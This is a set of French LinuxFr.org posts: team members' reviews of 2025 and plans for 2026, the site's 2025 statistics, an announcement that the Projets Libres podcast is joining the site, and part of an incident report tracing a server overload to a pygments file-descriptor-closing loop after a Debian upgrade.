Quatre personnes se sont prêtées au jeu de cette dépêche, pas vraiment de vœux, mais un peu quand même. En vrac dans les accomplissements : retours d’expérience, accessibilité, rencontres, arkéologie, transmission, fiabilité, migration, vote électronique, technocritique, documentation et programmation. L’année qui vient, sur LinuxFr.org et Projets Libres, promet d’être fédérée, pérenne, humaine, sobre, excitante, écrite et écoutée, réutilisable, réparable et résiliente.

Sommaire

• Benoît (Oumph) Sibaud
  • Accomplissements, réalisations, progrès de l’année 2025
  • Ce que je voudrais faire, apprendre ou approfondir en 2026
  • Des contenus que je voudrais voir plus sur LinuxFr.org ou écouter plus dans le podcast Projets Libres (type de contenu, sujet, etc.)
• Walid (Wawa) Nouh
  • Accomplissements, réalisations, progrès de l’année 2025
  • Ce que je voudrais faire, apprendre ou approfondir en 2026
  • Des contenus que je voudrais voir plus sur LinuxFr.org ou écouter plus dans le podcast Projets Libres (type de contenu, sujet, etc.)
• vmagnin (Vincent)
  • Accomplissements, réalisations, progrès de l’année 2025
  • Ce que je voudrais faire, apprendre ou approfondir en 2026
  • Des contenus que je voudrais voir plus sur LinuxFr.org ou écouter plus dans le podcast Projets Libres (type de contenu, sujet, etc.)
• Ysabeau
  • Accomplissements, réalisations, progrès de l’année 2025
  • Ce que je voudrais faire, apprendre ou approfondir en 2026
  • Des contenus que je voudrais voir plus sur LinuxFr.org ou écouter plus dans le podcast Projets Libres (type de contenu, sujet, etc.)
• Pour finir

Benoît (Oumph) Sibaud

Accomplissements, réalisations, progrès de l’année 2025

Commençons par le serpent de mer de la réduction du retard côté adminsys pour LinuxFr.org : une plus grande partie des services est maintenant portée par une distribution récente (Debian Trixie), avec un mélange de conteneurs lxc et docker. Évidemment on passe toujours trop de temps à gérer du spam et des pénibles. J’ai eu l’occasion de rejouer avec des cartes DRAC pendant les incidents, d’écrire des comptes-rendus d’incident (ne jamais négliger leur importance) et de faire un peu plus de systemd.
J’ai participé au stand et aux animations sur place lors de la conférence Open Source eXPerience Paris et c’était toujours agréable et remotivant de voir d’autres personnes de l’équipe, de notre lectorat, des libristes connus de longue date et des nouvelles personnes. Le 28 juin 2025, on fêtait les deux ans de la politique de minimisation des données et il ne s’est rien passé car la prochaine étape est en juin 2026 (les premiers comptes avec trois ans d’inactivité).

Je suis satisfait d’une certaine fiabilité en termes de contenus publiés : les rétrospectives toutes les quinzaines, la traditionnelle dépêche d’appel aux dons, les non moins régulières assemblée générale et publication de bilan et célébration d’anniversaire ou un poisson d’avril.

En dehors de contenus attendus, j’ai écrit sur les sujets liés à LinuxFr.org (OSI rejointe, incidents du 26 juin et du 26 août), sur des sujets qui m’intéressent (la maintenance, le vote électronique ou le jeu d’apprentissage SQLNoir), des sujets plus tristes (un décès parmi d’autres ou une fin de vie pour un projet), et publié quelques liens sur les licences, la sécurité, le vote électronique, l’Union européenne, les dons, la technocritique et le spam.

Ce que je voudrais faire, apprendre ou approfondir en 2026

Déjà dans les reports de 2024, je voudrais m’intéresser au Fediverse et à ActivityPub peut-être, et peut-être à Gemini (le protocole) ? Il y a des travaux en cours sur le service de partage sur les réseaux sociaux share. Par contre j’ai donné moins de conférences en 2024 pour LinuxFr.org et globalement assisté à moins d’événements : donc je réitère l’ambition 2025 de rencontrer plus régulièrement le lectorat ou les personnes contribuant au site ou des publics nouveaux, car c’est appréciable pour le moral et la motivation.

Hum c’est malheureusement bon on peut garder tel que.

Des contenus que je voudrais voir plus sur LinuxFr.org ou écouter plus dans le podcast Projets Libres (type de contenu, sujet, etc.)

De manière générale, je suis toujours intéressé par plus de contenus sur LinuxFr.org (idéalement des dépêches). Mais plus précisément, en termes de sujet, j’aimerai encore et toujours plus d’articles la réparation, la maintenance et la réutilisation, sur la sobriété en informatique, sur la lutte contre la corruption, sur les sujets politiques autour du numérique et des données. Et bien sûr toujours plus de retours d’expérience, de sujets qui ne me viendraient pas à l’idée (sérendipité) et de sujets qui vous passionnent vous (partagez !). Pour Projets Libres, c’est un peu de la triche, j’ai accès à la préparation et j’ai déjà un premier aperçu de la richesse des sujets qui seront traités, mais je sais aussi qu’on compte sur vous pour aider à enrichir les émissions avec vos suggestions diverses et variées.

Walid (Wawa) Nouh

Accomplissements, réalisations, progrès de l’année 2025

L’année 2025 a été chargée puisque 19 émissions ont été diffusées. Nous avons eu aussi l’occasion de parler dans des conférences et des meetups.
Le podcast continue à gagner en visibilité et d’après nos statistiques OP3 (qui ne sont pas parfaites), pour la première fois deux épisodes ont dépassé les 2000 téléchargements dans le premier mois (Dégooglisons l’évaluation avec Framasoft, et le futur sera fédéré et auto-hébergé avec Elena Rossini).
J’ai finalement trouvé le temps de poser des mots pour expliquer mon travail sur le podcast, résumé comme ceci : documenter, transmettre, apprendre.
Bien entendu la grosse actualité de la fin d’année est le rapprochement avec LinuxFr, qui est une suite logique et aussi une reconnaissance de notre travail depuis 2023.
Pour finir, nous avons eu l’occasion, à travers l’association LinuxFr, de donner des cours d’introduction au logiciel libre dans une école d’ingénieur (Florent Zara, Raphaël Semeteys, Jérôme Herledan et moi-même). Cela confirme mon idée que des prestations annexes sont un moyen intéressant de financer l’édition du podcast et de faire en sorte de ne pas avoir de publicité.

Ce que je voudrais faire, apprendre ou approfondir en 2026

Pour cette nouvelle année, Raphaël et moi avons fixé un thème, qui sera la ligne directrice de notre travail sur 2026 : pérennité et résilience.

– Pérennité, car c’est un sujet qui nous tient à cœur, à travers les épisodes sur les fondations, ou sur les projets qui existent depuis un grand nombre d’années.
– Résilience : c’est la suite logique de tous les épisodes qui traitent, entre autres du Fediverse, de l’auto-hébergement et de l’informatique responsable et c’est plus que jamais important vu l’actualité géopolitique actuelle.

Mes souhaits vont sûrement évoluer courant de l’année, mais j’aimerais dans les semaines à venir commencer à tester des OS mobiles basés sur Linux (Ubuntu Touch et PostmarketOS pour commencer), afin de préparer de potentiels épisodes sur le sujet.
J’aimerais aussi donner plus la parole à des personnes qui utilisent le libre (dans la lignée de l’épisode avec Elena Rossini).
Bref, beaucoup d’idées, le backlog est d’actuellement une cinquantaine d’épisodes…

Des contenus que je voudrais voir plus sur LinuxFr.org ou écouter plus dans le podcast Projets Libres (type de contenu, sujet, etc.)

Je vais surtout passer plus de temps à relire du contenu déjà présent sur LinuxFr :)
Comme annoncé lors de l’évènement AssocialClub au salon Open Source Experience, il y a toute une intégration du podcast dans et avec LinuxFr à imaginer, cela va être passionnant !

vmagnin (Vincent)

Accomplissements, réalisations, progrès de l’année 2025

Côté accomplissements sur LinuxFr, je suis surtout content d’avoir fait œuvre arkéologique avec ma série automnale de cinq journaux consacrés aux Fiches Libres, au site antique GNULinews et aux Tuxeries (1, 2, 3). Cela a abouti à la modernisation des fiches par Ysabeau et de mon côté à la restauration des Tuxeries, plus de deux cents images et animations du dessinateur JC.

Toujours à cheval entre passé et futur (donc dans le présent ?), j’ai publié ma dépêche n°7 sur le Fortran. La disparition du service non-libre Netvibes m’a forcé à migrer vers une Pétrolette libre. Et parmi les dépêches auxquelles j’ai contribué sensiblement, je me souviens surtout de Rendez-nous nos boutons !, un questionnement humoristique sur certaines évolutions techniques imposées parfois sans discernement.

À part ça, en 2025 j’ai migré mes machines de travail d’Ubuntu vers Fedora. Probablement en partie pour retrouver un peu le piment qu’on ressentait à chaque version d’Ubuntu il y a 20 ans. Dans toute vraie passion, il y a apparemment une quête de l’excitation originelle que l’on essaie de retrouver décennie après décennie. Oui, j’essaie aussi de rejouer encore une fois l’excitation pré-adolescente de l’apprentissage de la programmation grâce à Rust. J’ai terminé de lire le livre Développez avec Rust (Dunod).

Ce que je voudrais faire, apprendre ou approfondir en 2026

Je suis loin de maîtriser les nouveaux concepts présentés dans ce très bon livre, mais j’ai au moins balayé l’essentiel et j’ai tout 2026, enfin j’espère, pour progresser en Rust. Et aussi avancer un peu dans quelques projets Fortran pro ou perso.

Continuer à réfléchir sur l’IA et sur la poursuite de l’informatisation du monde. Avec en ce moment comme toile de fond la lecture de La Technique ou l’enjeu du siècle de Jacques Ellul (2ᵉ édition de 1960), qui se termine par : « […] nos plus intimes passions sont connues, publiées, analysées, utilisées. L’on y répond, l’on met à ma disposition exactement ce que j’attendais, et le suprême luxe de cette civilisation de la nécessité est de m’accorder le superflu d’une révolte stérile et d’un sourire consentant. » Après autant de lucidité, on verra si j’ai le courage de lire Le Système technicien (1977) qui se termine par : « L’homme qui aujourd’hui se sert de la technique est de ce fait même celui qui la sert. Et réciproquement seul l’homme qui sert la technique est vraiment apte à se servir d’elle. » Pas glop !

Bon, ça ne m’empêchera pas d’écouter des podcasts Projets Libres / LinuxFr.org. Et ne soyons pas sombre puisque 2026 est un nombre heureux (voir le site OEIS pour plus de propriétés de 2026).

Des contenus que je voudrais voir plus sur LinuxFr.org ou écouter plus dans le podcast Projets Libres (type de contenu, sujet, etc.)

Monomanie technicienne : des trucs sur Rust :-)

Ysabeau

Accomplissements, réalisations, progrès de l’année 2025

Une année moins productive que les précédentes sur le plan informatique, quoique ! En avril un tutoriel sur Mastodon, les balises Alt et deux ou trois autres trucs qui fait partie de ce que je voulais approfondir : l’accessibilité des textes. Par contrecoup, pour mes sites j’essaie d’avoir aussi des images et documents mieux présentés.

Sinon pour LinuxFr : la dépêche sur Delphine Demange et les compilateurs m’a donné, enfin, l’occasion d’en savoir plus (de découvrir en fait) sur les compilateurs et les commentaires, dont j’ai vraiment apprécié la qualité, de résoudre un mystère vieux de 2020. Avec celle sur la sortie d’Unicode 17 j’ai approfondi ma connaissance des systèmes d’écriture et de ce qui est nécessaire pour qu’il puisse figurer dans le registre Unicode. L’histoire de la convention du mètre et de l’ODF a été aussi un genre d’épopée en ce qui me concerne puisque j’ai profité de l’occasion pour « epubifier » un document complexe avec formules de mathématiques et autres joyeusetés, Le Système métrique décimal. Sa création en France. Son évolution. Ses progrès. Et, évidemment, les fiches libres, que je dois continuer à revoir, ont été sources d’enseignements, j’aime bien l’idée du travail arkéologique. Par contre, j’ai laissé le Transimpressux en jachères.

Si j’ai relativement peu écrit, j’ai beaucoup tricoté, des bérets, notamment, sur la base d’une méthode que j’ai mise en ligne et qui a réclamé quasiment l’entièreté de mes capacités mathématiques (pas grand-chose). Et en fait, j’aurais pu faire plus simple… Et puis j’ai fait du Banksy.

Marque-pages la petite fille au ballon inspirés de celle de Banksy même si, au final, le résultat est très différent.

Ce que je voudrais faire, apprendre ou approfondir en 2026

L’accessibilité, encore et toujours, écrire un ou des tutoriels sur le sujet. Utiliser plus ou mieux Draw pour faire des modèles de jouets de papier. Et, oui, j’ai encore à apprendre sur l’EPUB, et Inkscape. Oh, et continuer des dépêches de la série Transimpressux, il faut vraiment que j’écrive sur l’Unicode dans ce cadre.

Des contenus que je voudrais voir plus sur LinuxFr.org ou écouter plus dans le podcast Projets Libres (type de contenu, sujet, etc.)

Des contenus sur l’accessibilité, la réparabilité, le bricolage informatique comme celles du dernier journal de Sébastien Rohaut ou celui d’Ecran Plat sur les clés USB-C lentes. Et aussi plus de contenus sur l’histoire de l’informatique et des logiciels et de l’arkéologique.

Pour finir

Nous vous souhaitons tout de même la meilleure année possible (on oscille entre excellence optimisée et résilience robuste ainsi que pérennité soutenable et humour drolatique). Et, bien évidemment, n’hésitez pas à « continuer » cette dépêche dans les commentaires.

Et un merci à toutes celles et ceux qui font de LinuxFr.org un site enrichi en sérendipité et surprises et de Projets Libres un podcast nimbé de découvertes et bienveillance.

2025 est amené son lot de changements : un trafic en hausse principalement en raison des moteurs de recherche et d’IA et du spam, plus de contenus publiés mais moins de commentaires. Que cela ne nous empêche pas de revenir sur l’année passée, l’activité du site LinuxFr.org, les détails des changements en termes de trafic Web, de contenus créés, de commentaires déposés, de navigateurs utilisés, d’utilisation des fonctionnalités du site, de contribution au code, etc. Bref, quelles sont les tendances ?

Le site rend accessible un grand nombre de statistiques (faites‑vous plaisir si vous souhaitez vous plonger dedans, c’est fait pour) ; cette dépêche résume les variations constatées en 2025.

Nb: le podcast Projets Libres fournit aussi des statistiques publiques.

Sommaire

• Statistiques Web
• Contenus
• Modération
• Commentaires
• Notes
• Étiquettes (tags)
• Équipe de bénévoles
• Code et développement
• Comptes utilisateur
• Soucis divers

Statistiques Web

La comparaison des statistiques annuelles (voir 2024 et 2025, les deux comportant des effets de bots bourrins visiblement) montre un quasi doublement des visites, hausse des consultations (pages, fichiers) et des hits (notamment l’effet des bots pour l’intelligence artificielle), avec un passage à ~996 000 hits par jour et ~149 800 visites par jour, le tout pour ~1,77 Tio par mois.

Le nombre de contenus publiés en un an augmente de 10 %. Le nombre de commentaires publiés en un an diminue cette année de 3%.

Contenus

Au 31 décembre 2025, le site comportait environ 123 820 contenus publiés répartis ainsi :

• 28 185 dépêches :
  • 386 dépêches publiées en 2025 (➡️, 383 en 2024),
  • la taille moyenne (en code Markdown, hors images donc) des dépêches a encore très nettement augmenté, battant le précédent record de 2019 ;
• 40 701 journaux (↗️, 409 en 2024 et 460 en 2025),
• 41 047 entrées de forums (↘️, 458 en 2024 et 406 en 2025),
• 11 140 liens (↗️,2050 en hausse par rapport aux 1714 en 2024),
• 475 sondages (10 en 2024 et 7 en 2025),
• 159 pages de wiki (5 en 2024 et 2 en 2025).

Pour la première année, le pic de publication des contenus se confirme le mercredi. Ce qui continue à différer désormais du pic de modération, voir la partie Modération plus bas).

Un jour de semaine compte 64 % de publications en plus qu’un jour de week-end.

La publication sous licence Creative Commons By-SA se fait par défaut depuis les dix ans de CC, fin 2012 pour les dépêches (permet explicitement une rédaction collaborative ou un renvoi en re‐rédaction) et les journaux (qui peuvent être convertis en dépêches) : tout naturellement, on retrouve 97 % de dépêches et 99 % des journaux sous cette licence au final (les autres étant notamment sous licence Art Libre ou autre, au choix de l’auteur).

Les dépêches collaboratives (et pas uniquement celles réattribuées à l’utilisateur Collectif) sur de multiples sujets sont toujours à compter parmi les vraies réussites du site ; nous sommes cependant toujours à la recherche de volontaires pour couvrir les nombreux sujets qui n’ont pu être abordés. Une liste des thèmes récurrents sur LinuxFr.org peut donner des idées de participation : si une dépêche n’a pas été créée dans les temps, tout inscrit peut la démarrer dans l’espace de rédaction.

Concernant la visibilité par contenu (analyse sur décembre 2023) : les journaux ont jusqu’à deux fois moins de visibilité que les dépêches (faites des dépêches…) et les liens ont beaucoup moins de visibilité que les journaux et les dépêches (préférez donc faire des dépêches ou des journaux, pour la visibilité).

Modération

Le temps moyen passé entre la création d’une dépêche (en rédaction ou directement envoyée en modération) et sa modération et publication est de 600 (!) heures (contre 309 h en 2023 et 337 h en 2024) ; la mesure du temps passé uniquement en modération n’est pas actuellement disponible (et la modération retient volontairement des dépêches non urgentes pour réguler la publication) ; le temps médian est descendu à 22 heures. Il y a des demandes de statistiques dans le suivi, envoyez les demandes d’intégration Git (pull‐requests). ;-)

Le jour préféré de modération a priori des contenus est toujours le mardi pour les dépêches et le lundi pour les sondages.

Commentaires

Au 31 décembre 2025, le site comporte 1,97 million de commentaires. Le nombre de commentaires publiés en un an baisse cette année de 3 % pour arriver à 31 011.

Il y a désormais, en moyenne, 24 commentaires par journal (29 en 2023 et 29 en 2024), 9 par dépêches (9 en 2023 et 9 en 2024), 47 par sondage (54 précédemment, mais très dépendant des sondages considérés), 9 par entrée de forum (7 en 2023 et 8 en 2024), 2 par entrée de suivi, 6 par lien (contre 7 en 2023 et 7 en 2024) et une poignée par page wiki.

Le jour préféré pour commenter reste le mercredi, et un jour de semaine compte deux fois plus de commentaires qu’un jour de week-end.

Notes

Il n’y a (toujours) pas de statistiques disponibles concernant les notes. Les entrées de suivi sur les statistiques n’ont pas avancé.

Néanmoins diverses statistiques concernant la notation sur les contenus et les commentaires ont été données en juin 2021, avec des graphes.

Étiquettes (tags)

Au 31 décembre 2025, le site comporte :

• 16 502 étiquettes, dont 13 594 étiquettes publiques (contre 12 867 fin 2024) ;
• 195 491 saisies d’étiquettes (étiquetées en moyenne treize fois pour les étiquettes publiques et cinq fois pour les étiquettes privées) ;
• les étiquettes sont réparties ainsi par contenu :
  • 68 367 pour les dépêches,
  • 54 720 pour les journaux,
  • 31 732 pour les forums,
  • 38 903 pour les liens,
  • 835 pour les pages wiki,
  • 397 pour les sondages,
  • 537 pour le système de suivi des défauts et évolutions.

Plus de détails dans la dépêche de février 2022 À propos des étiquettes sur le site LinuxFr.org.

Depuis le début du site, on constate en moyenne 5 étiquettes par page wiki, 3,5 par lien, 2,4 par dépêche, 1,3 par journal, 0,8 par sondage, 0,8 par entrée de forum et 0,3 par entrée du suivi.

Le jour préféré pour apposer des étiquettes est le lundi (biais de la création initiale des étiquettes), suivi du samedi.

Il y a plusieurs biais concernant les étiquettes :

• beaucoup ont été et sont ajoutées automatiquement ;
• le thème mobile par défaut ne montre pas les étiquettes (sauf à basculer son Firefox en « Version ordinateur » ou équivalent sur un autre navigateur).

Équipe de bénévoles

Il y a actuellement 4 personnes pour l’administration du site, 11 pour la modération, 6 pour l’animation de l’espace de rédaction et 2 pour la maintenance qui font tourner ce site. Pour mémoire, il s’agit de bénévoles plus ou moins disponibles et donc absolument pas de 23 équivalents temps plein pour jargonner comme une entreprise. Merci pour le travail accompli.

Code et développement

Au 31 décembre 2025, le système de suivi de défauts et de demandes d’évolutions contient 285 entrées ouvertes (contre 269 en 2024). On voit assez rapidement un manque de développeurs apparaître. En 2025, il y a eu 34 entrées ouvertes (contre 54 en 2024) : 20 entrées encore ouvertes venant s’ajouter à celles datant d’avant, 12 corrigées et 2 déclarées invalides. On peut noter que ceux qui ouvrent le plus d’entrées sont des membres actuels ou anciens de l’équipe du site.

C’est Bruno qui garde le record de correction d’entrées. Merci aussi à Adrien Dorsaz. Le temps moyen de résolution est de 164 jours (contre 166 précédemment). La moitié des entrées fermées ont été traitées en moins de sept jours. On ressent donc toujours un besoin de nouveaux contributeurs côté code.

La charge moyenne sur le serveur est de 1,4 sur la machine actuelle (baptisée oups). La charge minimale a été de 0,8 et la maximale de 3,6.

La consommation mémoire est restée stable (en dépit de la perte d’une barrette de mémoire). Le trafic réseau sur la partie Web uniquement est en croissance à 9,1 Mbit/s sortants.

Comptes utilisateur

Au 31 décembre 2025, sur les 53 375 comptes utilisateur valides existants, 2 215 ont été utilisés au cours des trois derniers mois, dont 31 % (-2) ont déjà rédigé des dépêches, 41 % (-4) des journaux, 42 % (-3) des entrées de forums, 10 % (-1) des entrées dans le système de suivi, 17 % des liens (=) et 2 % une page de wiki ; 80 % (-7) ont écrit des commentaires et 48 % (-4) étiqueté des contenus ; 32 % (-1) ont contribué sur au moins une dépêche ; 24 % (-3) des comptes actifs ont indiqué un site personnel, 8 % (=) un identifiant XMPP, 6 % (+1) une adresse Mastodon, 28 % (-1) un avatar et 6 % (=) une signature.

Côté utilisation des fonctionnalités, 14 % (=) ont demandé à ne pas afficher les contenus avec une note négative, 8 % (-1) ont demandé le tri chronologique en page d’accueil, 5 % (-1) à ne pas voir les avatars, 4 % (-1) à afficher la tribune dans une boîte latérale et 3 % (=) à ne pas voir les signatures, et à peine quelques pourcents ont changé les contenus par défaut en page d’accueil (souvent pour retirer les sondages et ajouter les journaux). Peu de feuilles de style CSS du site sont utilisées : quatre visiteurs sur cinq utilisent celle par défaut ; il est facile d’en changer avec le lien Changer de style. En janvier 2024, il n’y avait pas de rupture générationnelle marquée entre les comptes 1999 et 2024 en termes d’utilisations des fonctionnalités.

Seuls huit comptes ont un karma négatif et zéro ont un karma nul, soit 0 % des visiteurs actifs ; 18 % des comptes actifs durant les trois derniers mois ont été créés en 2025 (+8 points, avec probablement un biais dû aux spammeurs).

32 % (+2) des visiteurs actifs ont une adresse de courriel GMail, 11 % (-1) chez Free, 3 % (-1) chez LaPoste, 3 % (=) chez Yahoo, 3 % (=) chez Hotmail ou Outlook et 2 % (=) chez Orange ou Wanadoo.

Les visiteurs actifs ont des adresses XMPP chez jabber.fr, gmail.com, im.apinc.org, jabber.org, movim.eu et chapril.org notamment. Et des adresses Mastodon chez mastodon.social, piaille.fr, mamot.fr, framapiaf.org, pouet.chapril.org et mastodon.tetaneutral.net notamment.

2025 correspond aussi au second anniversaire de la mise à place des nouvelles règles de pérennité des comptes LinuxFr.org et données à caractère personnel.

Soucis divers

Le compteur d’années sans mises en demeure reçues passe à quatre (après deux mises en demeure en 2019 et une en 2020, voir la dépêche sur la n^o 3 en attendant la publication d’informations sur les n^o 4 et 5). Mais un courriel d’avocat est néanmoins arrivé dans l’année 2025.

/ Only five formal notices in the default \
\   install, in a heck of a long time!    /
 -----------------------------------------
   \
    \
        .--.            / Ouep...  \
       |o_o |           \ Euh coin /
       |:_/ |            ----------
      //   \ \              \ 
     (|     | )               \
    /'\_   _/`\                \ >()_
    \___)=(___/                   (__)__ _

Depuis la création du site, statistiques liées au légal (dans les sens liés à la force publique ou à du juridique) :

• cinq mises en demeure reçues (pour zéro assignation) ;
• une réquisition judiciaire reçue (qui au final ne nous concernait pas, mais a donné l’occasion de discuter avec la police nationale) ;
• un cas d’usurpation d’identité et de harcèlement type « revenge porn » (discussion avec la gendarmerie nationale).

Annoncé en grandes pompes hier lors du temps fort associatif d'Open Source Experience, le podcast Projets Libres devient le podcast de LinuxFr.org. Depuis avril 2023, le podcast Projets Libres vous apporte un éclairage sur les projets, communautés et les individus qui composent l'écosystème libre et open source. Les épisodes sont régulièrement promus ici même.

Tout en conservant son nom d’origine, il s’intègre désormais à la galaxie du site pour proposer, en plus des dépêches, journaux, liens… un format audio régulier consacré au logiciel libre, à ses actrices et acteurs et à ses projets. Ce rapprochement ne changera pas la ligne éditoriale du podcast, mais inscrit ce travail dans le temps long. À court terme, il inclut un nouveau logo et générique pour le podcast, et un lien d'accès au podcast depuis LinuxFr.org.

Présentation croisée

Pour celles et ceux qui ne connaissent pas encore Projets Libres, il s’agit d’un podcast francophone consacré au logiciel libre, à l’open source et aux communautés qui les font vivre. Chaque épisode explore un projet, une technologie, un parcours ou une initiative, souvent à travers une interview, un échange à plusieurs voix ou un retour d’expérience. Le ton est volontairement accessible, destiné aussi bien aux curieuses et curieux qu’aux personnes déjà impliquées dans le libre.

LinuxFr.org, de son côté, n’a plus vraiment besoin d’être présenté ici : le site communautaire francophone consacré au libre depuis 1998 regroupe dépêches, journaux, liens, forums, sondages, tribunes et autres contenus publiés par la communauté. L’arrivée d’un format audio s’inscrit donc comme une évolution naturelle pour enrichir encore les contenus mis en avant. Mais si vous voulez en savoir plus sur LinuxFr.org, sachez que nous avons eu droit à notre épisode dédié il y a deux ans et que nous vous invitons à l'écouter !

Pourquoi ce rapprochement ?

Le podcast a connu une accélération en 2025, et le besoin d'avoir une entité légale s'est fait sentir. L'idée étant de récolter des fonds pour financer notre travail, mais aussi de préciser le but non lucratif et les motivations de l'équipe. Plutôt que de créer une n-ième association dont il allait falloir s'occuper, au détriment du temps passé à la réalisation de podcasts.

De plus, nous pressentons clairement que les deux communautés se recoupent et aiment découvrir des projets libres en écoutant des retours d’expérience, des interviews ou des discussions techniques… et LinuxFr.org dispose justement d’une communauté intéressée par ce type de contenus. Le rapprochement permettra :

• d’augmenter la visibilité des épisodes existants et futurs ;
• de favoriser des synergies entre la rédaction des dépêches et la production audio (interviews associées à une dépêche, compléments audio d’articles, discussions prolongées, etc.) ;
• de proposer un point d’entrée unique vers le contenu éditorial écrit et audio du site.

Pas d’inquiétude : le podcast garde sa ligne éditoriale, son nom et son style.

Concrètement, ça va se passer comment ?

Un nouveau générique et un nouveau logo vont très vite faire leur apparition, mais pour le reste, pas grand-chose ne change pour les personnes qui écoutent déjà Projets Libres :

• les épisodes restent disponibles sur le site historique du podcast ;
• le flux RSS existant continue de fonctionner dans vos lecteurs de podcast habituels ;
• les archives restent accessibles.

Côté LinuxFr.org,

• un lien dans l'en-tête va apparaître aux côtés des Dépêches, Journaux, Liens, Forum, etc.
• chaque nouvel épisode fera l’objet d’une dépêche un peu plus étoffée permettant de continuer la discussion
• la création d'une liste de diffusion dédiée

Le tout reste sous licence libre ou ouverte, dans la continuité de ce que pratiquaient déjà LinuxFr.org et le podcast.

Et pour la suite ?

Nous allons travailler à une intégration plus poussée, mais elle reste encore à imaginer. Et comme tout ce qui touche à LinuxFr.org, ce rapprochement se veut avant tout communautaire. Vous avez une idée de sujet ? Vous maintenez un projet libre et souhaitez en parler au micro ? Vous aimeriez participer à un enregistrement, proposer une chronique, ou simplement donner votre avis ?
N’hésitez pas à le signaler dans les commentaires, ou à contacter l’équipe du podcast.

Bonne écoute, et à bientôt pour un nouvel épisode ! 🎙️

Il y a exactement deux mois, un incident était survenu suite à un redémarrage brutal du serveur hébergeant les conteneurs de production et de développement ayant entraîné une attribution inattendue d’adresses IP. Et des réponses techniques 502 Bad Gateway pour notre lectorat.

Ce 26 août, vers 15:22, un message peu engageant est arrivé par pneumatique sur nos téléscripteurs (via Signal pour être précis) : « Tiens c’est bizarre j’ai perdu accès au site. Et au serveur oups. » L’après-midi et la soirée furent longues.

Sommaire

• • Premier diagnostic
  • Eh bien des requêtes habituelles…
  • La boucle sans fin
  • Une dernière page d’epub ?
  • Retour en graphiques sur la journée
  • Mesures préventives et correctives
  • Bonus inattendu pour l’incident précédent du 26 juin 2025

Premier diagnostic

Le serveur répond au ping et permet les connexions TCP port 22, mais pas le SSH. Et les services web ne répondent plus. Souci matériel ? Noyau en vrac ? Attaque en cours ? Les spéculations vont bon train.

La connexion au serveur revient par intermittence, permettant à un moment d’exécuter quelques commandes, à d’autres d’attendre longuement pour l’affichage d’un caractère ou l’exécution de la commande tapée.

Le premier contact réétabli avec le serveur est assez clair (une forte charge) :

$ uptime
15:06:59 up 2 days,  2:54,  1 user,  load average: 50,00, 205,21, 260,83

(dernier redémarrage le week-end précédent, mais surtout une charge système moyenne respectivement de 50, 205 et 261 sur les 1, 5 et 15 dernières minutes)

Initialement on suppose qu’il s’agit d’un trop grand nombre de requêtes ou de certaines requêtes tentant des injections de code sur le site (bref le trafic de fond plutôt habituel et permanent), et on ajoute des règles de filtrage péniblement et lentement pour bloquer les IP qui ressortent le plus dans nos logs.

Le site est alors inaccessible pendant plusieurs périodes. On arrête et relance ensuite plusieurs fois les services en pensant avoir ajouté suffisamment de filtrage, mais rapidement le serveur se retrouve englué. Les services sont alors arrêtés plus longuement le temps d’analyser les logs au calme. Au calme inclut notamment ne pas juste disposer d’une connexion ssh depuis un smartphone, mais plutôt d’un clavier et d’un grand écran par exemple, de l’accès à tous les secrets et toute la documentation aussi.

Finalement le trafic n’est pas énorme (en volume total) et si les requêtes hostiles sont bien présentes, rien ne semble inhabituel. Par contre les processus de coloration syntaxique partent en vrille, consommant chacun un processeur et aspirant allègrement la mémoire disponible. Avant d’être éliminés par le noyau Linux.

La console est remplie d’élimination de processus de ce type :

Mais si rien n’a changé niveau logiciel sur le conteneur LXC de production et si les requêtes ne sont pas inhabituelles, qu’est-ce qui peut bien écrouler le serveur et créer ces processus gourmands ?

Eh bien des requêtes habituelles…

Pendant les phases d’attente lorsque le serveur ne répondait plus vraiment, nous avons noté qu'une nouvelle entrée de suivi a été créée (merci BAud et merci RSS/Atom pour nous avoir permis de la voir alors que le serveur ne répondait déjà plus). Elle indique que la coloration syntaxique ne marche plus sur le site. Notamment l’exemple donné dans la documentation.

Pourtant le rendu fonctionne en testant en ligne de commande avec pygmentize.

Mais oui en testant l’exemple donné via le site, il est créé un processus Python2 pygment qui commence à se gaver de ressources.

Et en regardant les différents contenus et commentaires créés sur le site autour de l’incident, en filtrant sur ceux contenant des blocs avec de la coloration syntaxique, la dépêche (alors en préparation) sur G'MIC 3.6 apparaît. Et en testant cette dépêche, il est bien créé quatre processus Python2 pygment qui se gavent de ressources et ne semblent jamais vouloir se terminer. À rapprocher par exemple d’une page qui a été servie en 6785.9978s.

OK, le souci vient de requêtes tout à fait habituelles de coloration syntaxique, reste à comprendre pourquoi ces processus tournent mal.

La boucle sans fin

Un petit strace pour suivre les appels système en cours sur un des processus infernaux relève une boucle assez violente :

(...)
close(623199355)                        = -1 EBADF (Bad file descriptor)
close(623199356)                        = -1 EBADF (Bad file descriptor)
close(623199357)                        = -1 EBADF (Bad file descriptor)
(...)

Il semble y avoir une immense itération sur des descripteurs de fichiers, en vue de les fermer, mais à l’aveugle, sans savoir s’ils existent réellement.

En regardant le code du composant utilisé (pygments), il semble n'y avoir qu'un seul appel à close() :

# close fd's inherited from the ruby parent
        import resource
        maxfd = resource.getrlimit(resource.RLIMIT_NOFILE)[1]
        if maxfd == resource.RLIM_INFINITY:
            maxfd = 65536

        for fd in range(3, maxfd):
            try:
                os.close(fd)
            except:
                pass

Donc on itère sur tous les descripteurs entre 3 et le maximum déterminé…

>>> import resource
>>> print(resource.getrlimit(resource.RLIMIT_NOFILE)[1])
524288
>>> print(resource.RLIM_INFINITY)
-1

Un demi-million de fois ici donc. L’objectif initial de la boucle est de fermer les descripteurs de fichiers provenant du processus Ruby père, issue du fork via Open3.popen3. La version suivante du composant la remplace d’ailleurs par un ajout de l'option :close_others, qui précisément « modifie l’héritage [des descripteurs de fichiers du processus parent] en fermant les non-standards (numéros 3 et plus grands) ».

Sur une Debian 12, la limite du nombre de fichiers par défaut, c’est 1 048 576. C’est déjà probablement bien plus que la valeur qui prévalait à l’époque où a été écrit la boucle Python (on avait des limitations à 4096 à une époque reculée). Mais il s’avère que durant le week-end l’hôte du conteneur de production a été migré en Debian 13. Sans modification du conteneur de production pensions-nous. Sans modification directe du conteneur de production. Mais quid d’une modification indirecte ? Par exemple si la limite par défaut des « Max open files » était passée à 1 073 741 816 sur l’hôte, soit 1024 fois plus que quelques jours auparavant. Et donc des boucles nettement plus longues voire sans fin, sans libération de mémoire.

